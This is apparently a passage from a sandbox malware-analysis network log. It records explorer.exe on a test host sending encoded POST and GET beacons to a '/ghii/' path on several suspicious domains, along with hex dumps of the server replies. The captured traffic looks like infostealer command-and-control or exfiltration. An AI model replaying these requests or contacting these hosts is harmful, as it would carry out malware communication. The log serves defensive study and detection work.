2d 31 2e 36 35 2d 32 2e 39 35 2d 33 2e 36 31 2d 33 2e 38 39 2d 35 2e 38 38 73 2d 31 2e 34 32 2d 34 2e 36 37 2d 31 2e 34 32 2d 37 2e 32 32 56 32 39 2e 36 32 68 33 36 2e 38 32 76 38 32 2e 39 38 48 31 35 38 2e 36 56 32 39 2e 36 32 68 33 37 2e 31 76 32 30 33 2e 30 35 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 32 5f 32 22 20 64 3d 22 4d 34 37 30 2e 36 39 20 31 34 37 2e 37 31 63 30 20 38 2e 33 31 2d 31 2e 30 36 20 31 36 2e 31 37 2d 33 2e 31 39 20 32 33 2e 35 38 2d 32 2e 31 32 20 37 2e 34 31 2d 35 2e 31 32 20 31 34 2e 32 38 2d 38 2e 39 39 20 32 30 2e 36 2d 33 2e 38 37 20 36 2e 33 33 2d 38 2e 34 35 20 31 31 2e 39 39 2d 31 33 2e 37 34 20 31 36 2e 39 39 2d 35 2e 32 39 20 35 2d 31 31 2e 30 37 20 39 2e 32 38 2d 31 37 2e 33 35 20 31 32 2e 38 31 61 38 35 2e 31 34 36 20 38 35 2e 31 34 36 20 30 20 30 20 31 2d 32 30 2e 30 34 20 38 2e 31 34 20 38 33 2e 36 33 37 20 38 33 2e 36 33 37 20 30 20 30 20 31 2d 32 31 2e 36 37 20 32 2e 38 33 48 33 31 39 2e 33 63 2d 37 2e 34 36 20 30 2d 31 34 2e 37 33 2d 2e 39 34 2d 32 31 2e 38 31 2d 32 2e 38 33 2d 37 2e 30 38 2d 31 2e 38 39 2d 31 33 2e 37 36 2d 34 2e 36 2d 32 30 2e 30 34 2d 38 2e 31 34 61 38 38 2e 32 39 32 20 38 38 2e 32 39 32 20 30 20 30 20 31 2d 31 37 2e 33 35 2d 31 32 2e 38 31 63 2d 35 2e 32 39 2d 35 2d 39 2e 38 34 2d 31 30 2e 36 37 2d 31 33 2e 36 36 2d 31 36 2e 39 39 2d 33 2e 38 32 2d 36 2e 33 32 2d 36 2e 38 2d 31 33 2e 31 39 2d 38 2e 39 32 2d 32 30 2e 36 2d 32 2e 31 32 2d 37 2e 34 31 2d 33 2e 31 39 2d 31 35 2e 32 37 2d 33 2e 31 39 2d Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Montserrat:200,400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/404.css" /></head><body><div></div><svg id="svgWrap_2" xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" viewBox="0 0 700 250"> <g> <path id="id3_2" d="M195.7 232.67h-37.1V149.7H27.76c-2.64 0-5.1-.5-7.36-1.49-2.27-.99-4.23-2.31-5.88-3.96-1.65-1.65-2.95-3.61-3.89-5.88s-1.42-4.67-1.42-7.22V29.62h36.82v82.98H158.6V29.62h37.1v203.05z"/> <path id="id2_2" d="M470.69 147.71c0 8.31-1.06 16.17-3.19 23.58-2.12 7.41-5.12 14.28-8.99 20.6-3.87 6.33-8.45 11.99-13.74 16.99-5.29 5-11.07 9.28-17.35 12.81a85.146 85.146 0 0 1-20.04 8.14 83.637 83.637 0 0 1-21.67 2.83H319.3c-7.46 0-14.73-.94-21.81-2.83-7.08-1.89-13.76-4.6-20.04-8.14a88.292 88.292 0 0 1-17.35-12.81c-5.29-5-9.84-10.67-13.66-16.99-3.82-6.32-6.8-13.19-8.92-20.6-2.12-7.41-3.19-15.27-3.19-
Feb 20, 2023 11:24:30.862416029 CET	149	IN	Data Raw: 32 33 2e 35 38 76 2d 33 33 2e 31 33 63 30 2d 31 32 2e 34 36 20 32 2e 33 34 2d 32 33 2e 38 38 20 37 2e 30 31 2d 33 34 2e 32 37 20 34 2e 36 37 2d 31 30 2e 33 38 20 31 30 2e 39 32 2d 31 39 2e 33 33 20 31 38 2e 37 36 2d 32 36 2e 38 33 20 37 2e 38 33 Data Ascii: 23.58v-33.13c0-12.46 2.34-23.88 7.01-34.27 4.67-10.38 10.92-19.33 18.76-26.83 7.83-7.5 16.87-13.36 27.12-17.56 10.24-4.2 20.93-6.3 32.07-6.3h66.41c7.36 0 14.58.94 21.67 2.83 7.08 1.89 13.76 4.6 20.04 8.14a88.292 88.292 0 0 1 17.35 12.81c5.29 5
Feb 20, 2023 11:24:30.862508059 CET	150	IN	Data Raw: 39 20 32 2e 30 33 20 31 2e 33 32 20 33 2e 37 35 20 33 2e 30 32 20 35 2e 31 37 20 35 2e 30 39 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 69 64 31 5f 32 22 20 64 3d 22 4d 36 38 38 2e 33 33 20 32 33 32 2e 36 37 68 2d 33 37 2e 31 56 31 Data Ascii: 9 2.03 1.32 3.75 3.02 5.17 5.09z"/> <path id="id1_2" d="M688.33 232.67h-37.1V149.7H520.39c-2.64 0-5.1-.5-7.36-1.49-2.27-.99-4.23-2.31-5.88-3.96-1.65-1.65-2.95-3.61-3.89-5.88s-1.42-4.67-1.42-7.22V29.62h36.82v82.98h112.57V29.62h37.1v203.05z"
Feb 20, 2023 11:24:30.862557888 CET	151	IN	Data Raw: 31 39 20 31 35 2e 32 37 20 33 2e 31 39 20 32 33 2e 35 38 76 33 33 2e 31 34 7a 6d 2d 33 37 2e 31 2d 33 33 2e 31 33 63 30 2d 37 2e 32 37 2d 31 2e 33 32 2d 31 33 2e 38 38 2d 33 2e 39 36 2d 31 39 2e 38 32 2d 32 2e 36 34 2d 35 2e 39 35 2d 36 2e 31 36 Data Ascii: 19 15.27 3.19 23.58v33.14zm-37.1-33.13c0-7.27-1.32-13.88-3.96-19.82-2.64-5.95-6.16-11.04-10.55-15.29-4.39-4.25-9.46-7.5-15.22-9.77-5.76-2.27-11.8-3.35-18.13-3.26h-66.41c-6.14-.09-12.11.97-17.91 3.19-5.81 2.22-10.95 5.43-15.44 9.63-4.48 4.2-8.0
Feb 20, 2023 11:24:30.862595081 CET	152	IN	Data Raw: 75 73 73 69 61 6e 62 6c 75 72 20 63 6c 61 73 73 3d 22 62 6c 75 72 22 20 72 65 73 75 6c 74 3d 22 63 6f 6c 6f 72 65 64 42 6c 75 72 22 20 73 74 64 64 65 76 69 61 74 69 6f 6e 3d 22 34 22 3e 3c 2f 66 65 67 61 75 73 73 69 61 6e 62 6c 75 72 3e 0a 20 20 Data Ascii: ussianblur class="blur" result="coloredBlur" stddeviation="4"></fegaussianblur> <femerge> <femergenode in="coloredBlur"></femergenode> <femergenode in="SourceGraphic"></femergenode> </femerge> </filter> </defs

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49700	66.96.162.149	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 20, 2023 11:24:36.078562021 CET	153	OUT	POST /ghii/ HTTP/1.1 Host: www.genuineinsights.cloud Connection: close Content-Length: 185 Cache-Control: no-cache Origin: http://www.genuineinsights.cloud User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.genuineinsights.cloud/ghii/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 31 4c 4d 3d 57 5f 42 47 48 56 4b 79 39 42 52 73 41 79 6c 48 66 4a 73 2d 79 6e 77 4a 62 75 4d 36 37 39 6f 4a 76 7a 45 4b 48 6f 49 72 61 53 32 72 4b 2d 59 66 63 36 44 6d 69 44 4b 58 38 2d 4d 4d 74 68 33 4c 48 62 54 6f 65 6b 78 58 67 56 34 31 42 65 56 5a 6e 56 73 49 32 6c 37 68 46 33 57 49 61 77 32 32 6d 2d 31 32 6b 59 4d 2d 64 56 51 69 5a 63 33 6e 74 31 47 70 4b 4c 57 7a 56 35 6f 58 66 48 4c 59 64 70 31 61 74 42 7e 65 30 4c 28 6a 59 61 6c 34 5a 5f 4d 6d 30 32 72 73 53 75 4b 76 6b 38 41 6b 53 31 74 66 38 4a 6d 62 57 6a 48 4e 66 51 53 58 37 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 1LM=W_BGHVKy9BRsAylHfJs-ynwJbuM679oJvzEKHoIraS2rK-Yfc6DmiDKX8-MMth3LHbToekxXgV41BeVZnVsI2l7hF3WIaw22m-12kYM-dVQiZc3nt1GpKLWzV5oXfHLYdp1atB~e0L(jYal4Z_Mm02rsSuKvk8AkS1tf8JmbWjHNfQSX7Q).
Feb 20, 2023 11:24:36.195274115 CET	154	IN	HTTP/1.1 404 Not Found Date: Mon, 20 Feb 2023 10:24:36 GMT Content-Type: text/html Content-Length: 867 Connection: close Server: Apache/2 Last-Modified: Fri, 10 Jan 2020 16:05:10 GMT Accept-Ranges: bytes Age: 0 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 75 72 6c 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 3f 64 6e 3d 27 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2b 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 6d 61 69 6e 20 2b 20 27 26 70 69 64 3d 39 50 4f 4c 36 46 32 48 34 27 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 23 61 64 5f 66 72 61 6d 65 27 29 2e 61 74 74 72 28 27 73 72 63 27 2c 20 75 72 6c 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 20 20 20 20 3c 69 66 72 61 6d 65 20 69 64 3d 22 61 64 5f 66 72 61 6d 65 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 69 66 72 61 6d 65 27 73 20 2d 2d 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 2f 69 66 72 61 6d 65 3e 0d 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%; } body{ margin:0; border: 0; padding: 0; } </style> <script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script> <script type="text/javascript" language="JavaScript"> var url = 'http://www.searchvity.com/?dn=' + document.domain + '&pid=9POL6F2H4'; $(document).ready(function() { $('#ad_frame').attr('src', url); }); </script> </head> <body> <iframe id="ad_frame" src="http://www.searchvity.com/" frameborder="0" scrolling="no"> ... browser does not support iframe's --> </iframe> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49701	66.96.162.149	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 20, 2023 11:24:38.713886023 CET	155	OUT	GET /ghii/?1LM=b9pmEiWE3A9hICRLJ48/0GIWTdcguNEQkRUuEoMGZR2jfpcIS7+82C+h9uoa2hbDMoucG0FStkg6AqIGzw0t5RnkbE2XBG6Jig==&kTj=94JTJ5e-oG HTTP/1.1 Host: www.genuineinsights.cloud Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Feb 20, 2023 11:24:38.843964100 CET	156	IN	HTTP/1.1 404 Not Found Date: Mon, 20 Feb 2023 10:24:38 GMT Content-Type: text/html Content-Length: 867 Connection: close Server: Apache/2 Last-Modified: Fri, 10 Jan 2020 16:05:10 GMT Accept-Ranges: bytes Age: 0 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 75 72 6c 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 3f 64 6e 3d 27 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2b 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 6d 61 69 6e 20 2b 20 27 26 70 69 64 3d 39 50 4f 4c 36 46 32 48 34 27 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 23 61 64 5f 66 72 61 6d 65 27 29 2e 61 74 74 72 28 27 73 72 63 27 2c 20 75 72 6c 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 20 20 20 20 3c 69 66 72 61 6d 65 20 69 64 3d 22 61 64 5f 66 72 61 6d 65 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 69 66 72 61 6d 65 27 73 20 2d 2d 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 2f 69 66 72 61 6d 65 3e 0d 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%; } body{ margin:0; border: 0; padding: 0; } </style> <script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script> <script type="text/javascript" language="JavaScript"> var url = 'http://www.searchvity.com/?dn=' + document.domain + '&pid=9POL6F2H4'; $(document).ready(function() { $('#ad_frame').attr('src', url); }); </script> </head> <body> <iframe id="ad_frame" src="http://www.searchvity.com/" frameborder="0" scrolling="no"> ... browser does not support iframe's --> </iframe> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49702	198.54.117.212	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 20, 2023 11:24:44.074593067 CET	157	OUT	POST /ghii/ HTTP/1.1 Host: www.octohoki.net Connection: close Content-Length: 185 Cache-Control: no-cache Origin: http://www.octohoki.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.octohoki.net/ghii/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 31 4c 4d 3d 72 5a 6e 54 4d 5a 52 69 46 75 51 4c 79 4e 6d 72 33 42 34 79 59 54 51 58 45 59 56 35 79 37 45 37 47 5a 4a 4e 63 41 77 4c 59 62 6f 54 41 43 56 37 45 59 4e 4f 49 4c 6c 41 74 35 35 63 64 4f 64 59 31 7a 71 51 34 36 59 6f 4c 50 4e 42 4d 67 51 4f 44 30 59 78 55 35 6d 4c 37 49 6d 47 71 45 6b 70 35 46 35 38 47 67 45 76 58 75 64 2d 4b 5a 32 31 30 64 6a 6e 37 50 76 35 45 75 51 63 73 43 52 53 58 67 35 54 45 49 76 35 41 53 66 39 76 46 31 49 55 6a 4d 68 75 6b 53 6b 4d 43 5a 77 71 78 4a 6d 47 45 34 55 71 71 64 36 6d 4f 58 43 5a 52 6c 78 49 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 1LM=rZnTMZRiFuQLyNmr3B4yYTQXEYV5y7E7GZJNcAwLYboTACV7EYNOILlAt55cdOdY1zqQ46YoLPNBMgQOD0YxU5mL7ImGqEkp5F58GgEvXud-KZ210djn7Pv5EuQcsCRSXg5TEIv5ASf9vF1IUjMhukSkMCZwqxJmGE4Uqqd6mOXCZRlxIQ).
Feb 20, 2023 11:24:44.245893955 CET	158	IN	HTTP/1.1 405 Not Allowed Date: Mon, 20 Feb 2023 10:24:44 GMT Content-Type: text/html Content-Length: 154 Connection: close Server: namecheap-nginx Allow: GET, HEAD Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49703	198.54.117.212	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 20, 2023 11:24:46.771476984 CET	158	OUT	GET /ghii/?1LM=mbPzPtZ0Er8L5pad82wwGh9ocqcT3a4VC5lEcjpUbblZCC9rEfNiJ4Zzn4lMJLJJ2TaA1od8FsE8LCEUSFIleqyuhYHktxRXxg==&kTj=94JTJ5e-oG HTTP/1.1 Host: www.octohoki.net Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49704	66.235.200.146	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 20, 2023 11:24:52.217389107 CET	160	OUT	POST /ghii/ HTTP/1.1 Host: www.ladybillplanet.com Connection: close Content-Length: 185 Cache-Control: no-cache Origin: http://www.ladybillplanet.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.ladybillplanet.com/ghii/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 31 4c 4d 3d 71 50 59 4d 58 4e 6c 66 51 6d 31 32 44 32 74 59 49 61 33 61 6c 5a 4a 68 39 35 7a 6e 4a 32 7a 38 77 4a 4b 71 28 43 61 34 78 69 69 47 70 78 59 39 76 4d 74 36 66 43 66 6f 69 73 6b 31 6d 72 38 36 43 2d 48 68 6e 70 47 5f 4c 45 36 34 66 56 30 56 37 58 72 39 4e 35 52 2d 62 39 61 6a 38 42 51 63 33 42 28 4e 73 37 33 7a 6e 4a 6b 4b 42 61 53 45 66 59 50 30 78 38 73 35 28 37 4f 63 59 46 52 73 6f 32 42 65 45 58 66 6a 79 65 31 32 72 34 49 4b 79 71 7e 76 5a 32 6d 63 50 73 56 7a 32 4d 46 34 56 73 4a 61 54 73 38 68 4c 71 38 71 45 34 7e 49 4a 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 1LM=qPYMXNlfQm12D2tYIa3alZJh95znJ2z8wJKq(Ca4xiiGpxY9vMt6fCfoisk1mr86C-HhnpG_LE64fV0V7Xr9N5R-b9aj8BQc3B(Ns73znJkKBaSEfYP0x8s5(7OcYFRso2BeEXfjye12r4IKyq~vZ2mcPsVz2MF4VsJaTs8hLq8qE4~IJg).
Feb 20, 2023 11:24:52.751462936 CET	161	IN	HTTP/1.1 404 Not Found Date: Mon, 20 Feb 2023 10:24:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-UA-Compatible: IE=edge Link: <https://ladybillplanet.com/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 79c688f65ee62c22-FRA Content-Encoding: gzip Data Raw: 32 33 39 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec 7d db 8e dc 46 96 e0 b3 ea 2b 42 14 4a 95 69 93 4c de 93 99 59 59 6e 5b 96 dd 5e cb 97 b5 e4 35 ba 65 41 88 24 23 33 a9 62 92 34 23 b2 b2 ca e5 02 fa a1 1f 06 8b 05 e6 61 dc c0 62 d7 33 98 79 58 60 5f 16 e8 dd e9 dd e9 87 de fd 20 cb fd 0f 8b 13 11 64 92 99 cc 4b 55 49 c6 60 ac 12 54 45 46 9c 5b 9c 38 71 e2 c4 95 c7 77 df ff ec c1 93 df 7c fe 10 4d d9 2c 3e 39 38 86 3f 28 c6 c9 64 a8 9c a6 da c7 5f 28 90 46 70 78 72 70 e7 78 46 18 46 c1 14 e7 94 b0 a1 f2 e5 93 0f 34 5f 29 d3 13 3c 23 c3 a3 3c 1d a5 8c 1e a1 20 4d 18 49 d8 f0 28 49 a3 24 24 e7 2a 1a a7 71 9c 2e 8e 50 e7 e4 a0 82 a0 9c 45 64 91 a5 39 53 4a 14 65 11 85 6c 3a 0c c9 59 14 10 8d bf a8 28 4a 22 16 e1 58 a3 01 8e c9 d0 e4 6c ef 6a 1a 7a 32 8d 28 a2 11 23 28 a2 28 cd 58 34 8b be 25 21 5a 44 6c 8a d8 94 a0 df a4 98 32 f4 f8 e1 67 28 8b e7 93 28 41 67 96 a1 9b 48 43 53 c6 32 da ef 74 2e 00 40 0f d2 59 67 91 e6 61 96 13 4a 3b 02 94 76 28 49 3b 48 d3 80 17 8b 58 4c 4e 3e c7 13 82 92 94 a1 71 3a 4f 42 a4 a1 1f ff d7 ff fd e9 1f 7f 40 3f fe cf 3f fd f8 c7 3f a0 97 7f fb fb 9f fe eb ef 7e fa fb 3f 1d 77 04 7c a1 9b 2c 4f 33 92 b3 8b a1 92 4e fa 71 0a 65 a8 94 f7 34 7d fe f1 17 0a 28 a6 09 9c 53 aa 40 ef 2b c3 46 82 a0 ad e7 a0 fc 0a d1 ed 34 68 90 47 19 43 ec 22 23 43 05 67 59 1c 05 98 45 69 d2 89 c3 b7 5f d0 34 51 50 10 63 4a 87 0a 57 a6 46 83 29 99 61 6d 92 e3 6c aa 9c 5c 2a bf e2 6c ce 99 d2 57 0a ad 0b 10 3d cd 27 8a aa fc 4a 40 f6 9f 5e 2a bf 02 1e 4a 5f f9 8a 8c 1e 47 8c 40 66 14 56 f0 62 1c 5e 8c a2 38 ce 62 9c 10 51 6d f7 16 64 44 05 ec 3c 8f b7 c3 2a aa c2 0b de df 58 60 55 09 89 28 6e 94 26 00 f7 97 ff 81 fe fa 87 df ff f4 5f be ff eb 1f 7e 28 54 fd f2 8f 7f 5b 60 fe f4 8f 7f 78 f9 cf 7f 7a f9 df fe 82 7e fa e3 ff fb e9 ef 7f ff d3 df fc 67 f4 d3 3f fc cd cb ff f8 3d 7a f9 e7 ef 5f fe d3 0f 3f fe cb 9f 15 55 c9 52 d0 73 84 e3 77 03 41 b8 52 d6 c7 04 e7 c1 54 66 a8 0a c3 f9 84 30 a5 bf 04 78 98 b0 fc e2 f3 34 4a 98 28 e3 13 32 cb 62 cc c8 f6 b2 be 43 87 97 94 93 7e ce 48 3e 7b 4e 59 1e 25 93 2b e5 4a 55 be 99 93 fc 42 8b 92 6c 0e 75 92 93 6f e6 51 4e 42 d1 20 d7 51 94 ab 67 aa 12 25 8f 70 32 99 e3 09 70 15 8e e1 ea d9 d5 71 47 e8 Data Ascii: 2390}F+BJiLYYn[^5eA$#3b4#ab3yX`_ dKUI`TEF[8qw\|M,>98?(d_(FpxrpxFF4_)<#< MI(I$$q.PEd9SJel:Y(J"Xljz2(#((X4%!ZDl2g((AgHCS2t.@YgaJ;v(I;HXLN>q:OB@???~?w\|,O3Nqe4}(S@+F4hGC"#CgYEi_4QPcJWF)aml\lW='J@^J_G@fVb^8bQmdD<X`U(n&_~(T[`xz~g?=z_?URswARTf0x4J(2bC~H>{NY%+JUBluoQNB Qg%p2pqG
Feb 20, 2023 11:24:52.751564980 CET	162	IN	Data Raw: aa 68 8d 9d b5 f6 a6 f3 f6 73 70 70 1c 47 c9 29 ca 49 3c 3c 0a 13 aa 65 39 19 13 16 4c 8f d0 34 27 e3 e1 51 53 09 84 ab d8 85 b7 58 2c f4 49 9a 4e 62 c2 f0 64 86 13 3c 21 f9 fe d8 91 a1 2f b2 06 70 05 c7 8c e4 09 28 b9 c1 ec 73 4a df 3e 9f c5 0a Data Ascii: hsppG)I<<e9L4'QSX,INbd<!/p(sJ>mscAs<~"n1!aGyODA:hE/$LEFf1a,J&2\|Yi_wP}-N4BiNp;ukwg8z6=z6 H8tY&fM
